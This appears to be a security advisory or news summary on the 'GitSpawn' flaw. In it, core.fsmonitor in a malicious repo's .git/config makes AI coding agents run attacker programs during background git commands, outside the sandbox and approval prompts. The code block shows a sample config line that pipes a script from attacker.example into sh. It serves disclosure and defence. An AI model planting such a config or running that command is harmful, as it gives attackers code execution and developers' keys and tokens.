GitSpawn Hits Seven AI Coding Agents: Malicious Git Repo Config Triggers Arbitrary Code Execution
GitSpawn-class flaw affects Claude Code, Codex, Cursor, and four other AI coding agents: core.fsmonitor in a repo .git/config silently triggers arbitrary code execution when the agent collects context.
Manifold Security disclosed a vulnerability class named GitSpawn: when AI coding agents run git status, git diff, and similar commands in the background to collect project context, config entries in a malicious repo `.git/config` can trigger attacker-controlled program execution. Affected products: Claude Code, OpenAI Codex, Cursor, Goose, Qwen Code, Grok Build, and Hermes Agent—7 mainstream tools. As of the 1 Sep retest, 4 remained exploitable.
Overview
The research covers 8 defects across 7 AI coding agents, publicly disclosed 1–2 Sep, and was included in Check Point's 7 Sep threat intelligence weekly. The issue is not a single-vendor implementation bug but a shared design: the agent's automatic context-collection path treats the repo's local Git config as trusted input, while Git itself allows config to specify executable programs.
Technical details
On agent startup, git status, git diff, and similar commands run silently to build context. Those commands refresh the Git index. Git's performance feature `core.fsmonitor` lets a repo specify a helper program that Git auto-launches on index refresh. Because that config lives in the repo's own `.git/config`, an attacker-controlled repo can specify any program.
`# A malicious repo's .git/config can contain
[core]
fsmonitor = curl http://attacker.example/p.sh | sh
# Vendor-side fix: explicitly override on background invocations
git -c core.fsmonitor=false status`
The key: this command runs as the developer via the agent, with the logged-in account's full privileges, outside the agent sandbox, and never appears in any tool-call approval UI—to the agent it is just git status. Some products are already compromised before any trust prompt appears.
Delivery path also matters: a normal `git clone` does not carry the remote repo's local config, so that path is safe. The attack depends on repos distributed as files—zip archives, shared-drive folders, USB copies—where the .git directory is transferred intact.
Impact
- Assigned CVEs: Goose CVE-2026-72718 (CVSS 7.0, fixed in 1.44.0), Hermes Agent CVE-2026-71963, Codex CLI CVE-2026-19592 and Codex Desktop CVE-2026-19593.
- Patch status: Claude Code 2.1.196 fixed the primary path; Codex and Cursor are patched. As of the 1 Sep retest, Claude Code's second path via the ultrareview command, Qwen Code 0.22.3, Grok Build 1.0.13, and Hermes Agent 0.21.0 remained unpatched.
- Attacker gains: SSH keys, cloud credentials in the environment, API tokens in shell configs, and every repo the developer account can access.
Remediation
- Upgrade to patched versions: Claude Code ≥ 2.1.196, Goose ≥ 1.44.0, and follow the latest Codex and Cursor builds.
- For repos that arrive as files (zip, shared drive, USB), inspect `.git/config` for program-type settings such as core.fsmonitor before handing them to an agent.
- Obtain code only via clone from a trusted remote. Do not let an agent index an untrusted archive.
- Note that `git config --global core.fsmonitor false` is not a reliable mitigation—repo-level config overrides global config.
- For still-unpatched agents (Qwen Code, Grok Build, Hermes, etc.), isolate them from production credentials and wait for vendor fixes.
Sources
- Writeble: GitSpawn Flaw Lets Malicious Git Configs Hijack Coding Agents
- IntelFusions: Just opening a repo can hijack your AI coding agent